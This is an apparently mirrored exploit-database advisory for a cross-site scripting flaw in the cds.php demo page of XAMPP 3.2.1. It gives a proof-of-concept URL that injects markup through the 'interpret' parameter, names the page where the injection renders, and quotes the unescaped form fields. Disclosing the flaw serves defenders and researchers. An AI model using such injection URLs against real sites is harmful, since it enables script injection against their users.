XAMPP 3.2.1跨站脚本漏洞

🗓️ 17 Jan 2014 00:00:00Reported by RootType

XAMPP 3.2.1 Cross Site Scripting Vulnerabilit


                                                #Title : XAMPP 3.2.1 Cross Site Scripting

#Author : DevilScreaM

#Date : 15 January 2014

#Category : Web Applications

#Vendor : http://sourceforge.net/projects/xampp

#Version : 3.2.1

#Type : PHP

#Greetz : 0day-id.com | newbie-security.or.id | Borneo Security | Indonesian Security
Indonesian Hacker | Indonesian Exploiter | Indonesian Cyber

#Thanks : ShadoWNamE | gruberr0r | Win32Conficker | Rec0ded |

#Tested : Mozila, Chrome, Opera -&gt; Windows

#Vulnerabillity : Cross Site Scripting



Cross Site Scripting

Exploit &amp; POC

http://localhost/xampp/cds.php?interpret=[YOUR_XSS]&amp;titel=title&amp;jahr=title

Example

http://localhost/xampp/cds.php?interpret=&lt;h1&gt;DevilScreaM&lt;/h1&gt;&amp;titel=title&amp;jahr=title

View Cross Site Scripting at

http://localhost/xampp/cds-fpdf.php



Vulnerabillity at Code

&lt;tr&gt;&lt;td&gt;&lt;?php print $TEXT['cds-attrib1']; ?&gt;:&lt;/td&gt;&lt;td&gt;&lt;input type=text size=30 name=interpret&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;?php print $TEXT['cds-attrib2']; ?&gt;:&lt;/td&gt;&lt;td&gt; &lt;input type=text size=30 name=titel&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;?php print $TEXT['cds-attrib3']; ?&gt;:&lt;/td&gt;&lt;td&gt; &lt;input type=text size=5 name=jahr&gt;&lt;/td&gt;&lt;/tr&gt;

17 Jan 2014 00:00Current

7.1High risk

Vulners AI Score7.1

xampp security web applications php cross site scripting vulnerability windows exploit poc code